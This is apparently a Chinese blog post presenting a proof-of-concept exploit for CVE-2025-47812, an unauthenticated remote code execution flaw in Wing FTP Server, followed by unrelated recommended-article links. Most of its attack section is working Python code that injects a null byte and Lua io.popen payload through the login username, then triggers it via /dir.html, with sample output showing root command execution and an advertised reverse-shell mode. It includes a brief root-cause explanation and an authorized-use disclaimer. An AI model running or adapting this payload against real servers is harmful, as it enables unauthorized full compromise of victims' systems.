CVE-2025-47812:Wing FTP Server 高危RCE漏洞分析与利用

项目标题与描述

CVE-2025-47812 -- Wing FTP Server 远程代码执行漏洞

CVE-2025-47812 是针对 Wing FTP Server(版本 7.4.4 之前)的一个严重(Critical)的未授权远程代码执行(RCE)漏洞。该漏洞已被安全研究人员发现并证实存在野外(in the wild)的主动利用行为。攻击者可利用此漏洞在目标服务器上执行任意系统命令,获得 SYSTEM(Windows)或 root(Linux/macOS)权限。本项目提供了一个用于验证该漏洞的概念证明(PoC)脚本,并详细阐述了其根本原因和缓解方案。

功能特性

  • 漏洞复现:通过构造特殊的用户名参数,在未授权或匿名认证情况下触发RCE。
  • 多平台支持:适用于 Windows、Linux 和 macOS 平台上的受影响 Wing FTP Server。
  • 灵活的攻击载荷
    • 支持直接执行单条系统命令。
    • 支持获取反向 Shell。
  • 自动化利用:脚本自动处理会话获取(UID)、Payload注入和结果提取的完整流程。
  • 高危害性:漏洞利用无需身份验证,且攻击代码在服务器上以最高权限运行(CVSS 评分 10.0)。

安装指南

本 PoC 脚本基于 Python 3 编写,依赖标准库,无需额外安装第三方包。

系统要求与依赖

  • Python 3.x
  • requests 库(通常为标准库的一部分,若缺失可使用 pip install requests 安装)
  • 网络访问权限(可访问目标 Wing FTP Server 的 Web 管理接口)

使用步骤

  1. 确保您的 Python 3 环境已就绪。
  2. 将提供的 Python 脚本保存为 CVE-2025-47812.py
  3. 在命令行中运行脚本:python3 CVE-2025-47812.py

注意事项

  • 请仅在您拥有合法测试权限的系统或授权测试环境(如 CTF 靶场、内部实验室)中使用本工具。
  • 实际利用前,请务必确认目标服务器的 Wing FTP Server 版本低于 7.4.4。

使用说明

运行脚本后,按照交互提示输入目标信息:

  1. 目标URL :输入 Wing FTP Server 的 Web 管理地址,例如 http://目标IP:端口(默认管理端口通常为 5466)。
  2. 用户名 :可输入任意用户名,例如 anonymous
  3. 选择攻击模式
    • 选择 1 运行单条命令。
    • 选择 2 获取反向 Shell(需要配置接收 Shell 的监听主机和端口)。
  4. 根据选择输入要执行的命令(例如 whoami, id)或反向 Shell 的配置信息。

基础使用示例

bash 复制代码
$ python3 CVE-2025-47812.py
============================================================
   CVE-2025-47812 - Wing FTP Server RCE Exploit
============================================================
Target URL (e.g., http://localhost:5466): http://10.10.10.10:5466
Username (e.g., anonymous): anonymous
1) Run Command
2) Get Reverse Shell
Your choice (1 or 2): 1
Command to execute (default: whoami): id
[*] Trying to get UID... Payload: id
[+] UID obtained: 1c3be4345d468da6443947f479c569978ec568a693d569774e7
[*] Sending /dir.html request...
[*] HTTP 200
 Response Start ------
uid=0(root) gid=0(root) groups=0(root)
<?xml version="1.0" encoding="UTF-8" ?>
<alldata><nowdir><![CDATA[/]]></nowdir>
...
 Response End ------

核心代码

以下是 PoC 脚本中实现漏洞利用的两个核心函数及其详细注释:

1. 获取 UID 与会话Cookie 此函数通过向 /loginok.html 端点发送恶意构造的用户名参数,触发漏洞并获取服务器返回的会话 UID。

python 复制代码
import requests
import re
from urllib.parse import quote

def get_uid_cookie(session, base_url, username, command):
    """
    利用漏洞,通过注入恶意用户名来获取有效的会话 UID。
    
    参数:
        session: requests.Session 对象,用于保持会话。
        base_url: 目标服务器的基础URL (例如: http://target:5466)。
        username: 用于攻击的用户名,任意值均可。
        command: 要注入并执行的系统命令。
    
    返回:
        成功则返回 UID 字符串,失败返回 None。
    """
    # 构造登录请求的目标URL
    url = f"{base_url}/loginok.html"
    
    # 定义HTTP请求头,模拟浏览器行为以绕过基础检测
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 ...",
        "Origin": base_url,
        "Referer": f"{base_url}/login.html",
        # ... 其他请求头
    }

    # 对用户名进行URL编码
    encoded_username = quote(username)
    # 构造漏洞利用的核心Payload。
    # 关键点:在用户名后注入空字节(\0),然后拼接Lua代码。
    # 该Lua代码会打开一个管道执行指定的系统命令,并读取输出。
    payload = (
        f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")"
        "%0dlocal+r+%3d+h%3aread(\"*a\")%0dh%3aclose()%0dprint(r)%0d--&password="
    )

    print(f"[*] Trying to get UID... Payload: {command}")
    try:
        # 发送恶意POST请求
        response = session.post(url, data=payload, headers=headers)
        # 从响应头中提取服务器设置的Cookie
        set_cookie = response.headers.get("Set-Cookie", "")
        # 使用正则表达式从Cookie中匹配UID值
        match = re.search(r"UID=([a-f0-9]+)", set_cookie)
        if match:
            uid = match.group(1)
            print(f"[+] UID obtained: {uid}")
            return uid
        else:
            print("[-] UID not found!")
            return None
    except Exception as e:
        print(f"[-] Error occurred: {e}")
        return None

2. 触发命令执行 获取 UID 后,通过访问特定的管理页面(如 /dir.html)并携带该 UID,服务器会处理包含恶意 Lua 代码的会话文件,从而执行我们注入的命令。虽然 PoC 代码片段中未完全展示此函数的实现,但其逻辑流程如下:

python 复制代码
def post_to_dir(session, base_url, uid):
    """
    利用获取到的 UID,向管理接口发送请求以触发已注入命令的执行。
    
    参数:
        session: requests.Session 对象。
        base_url: 目标服务器的基础URL。
        uid: 从 get_uid_cookie 函数获取的有效 UID。
    
    返回:
        命令执行的输出结果 (通常包含在HTTP响应体中)。
    """
    # 构造访问目录管理页面的URL
    url = f"{base_url}/dir.html"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        # 将获取到的UID设置为Cookie,以维持会话
        "Cookie": f"UID={uid}",
        # ... 其他必要的请求头
    }
    # 发送请求。服务器在处理此请求时,会解析与UID关联的会话文件,
    # 从而执行之前通过用户名注入的Lua代码。
    response = session.post(url, headers=headers)
    print(f"[*] Sending /dir.html request...")
    print(f"[*] HTTP {response.status_code}")
    # 命令执行的结果通常会被打印到服务器端,并可能被包含或反映在HTTP响应中。
    # 输出响应内容以供分析。
    print("------ Response Start ------")
    print(response.text)
    print("------ Response End ------")

漏洞根源总结 : 核心漏洞在于 loginok.html 的身份验证逻辑未能妥善处理用户名中的空字节 (\0) 。攻击者可以在空字节后注入任意 Lua 代码。服务器会将这些代码写入与用户会话关联的文件中。当后续请求(如访问 dir.html)需要加载此会话文件时,内嵌的 Lua 代码将被服务器执行,从而实现远程命令执行。FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ6jKeVMpPCEcdxjvU7camkD

相关推荐
阿里云大数据AI技术3 小时前
【AAAI2026】阿里云人工智能平台PAI视频编辑算法论文入选
人工智能
玄同7653 小时前
我的 Trae Skill 实践|使用 UV 工具一键搭建 Python 项目开发环境
开发语言·人工智能·python·langchain·uv·trae·vibe coding
苍何3 小时前
腾讯重磅开源!混元图像 3.0 图生图真香!
人工智能
千里马也想飞3 小时前
人工智能在医疗领域的应用与研究论文写作实操:AI辅助快速完成框架+正文创作
人工智能
Rorsion3 小时前
PyTorch实现二分类(单特征输出+单层神经网络)
人工智能·pytorch·分类
勾股导航4 小时前
K-means
人工智能·机器学习·kmeans
liliangcsdn4 小时前
Diff2Flow中扩散和流匹配的对齐探索
人工智能
SmartBrain4 小时前
战略洞察:以AI为代表的第四次工业革命
人工智能·语言模型·aigc
熬夜敲代码的小N4 小时前
基于CANN生态与OPS-NN仓库:AIGC模型高效部署与核心解析
aigc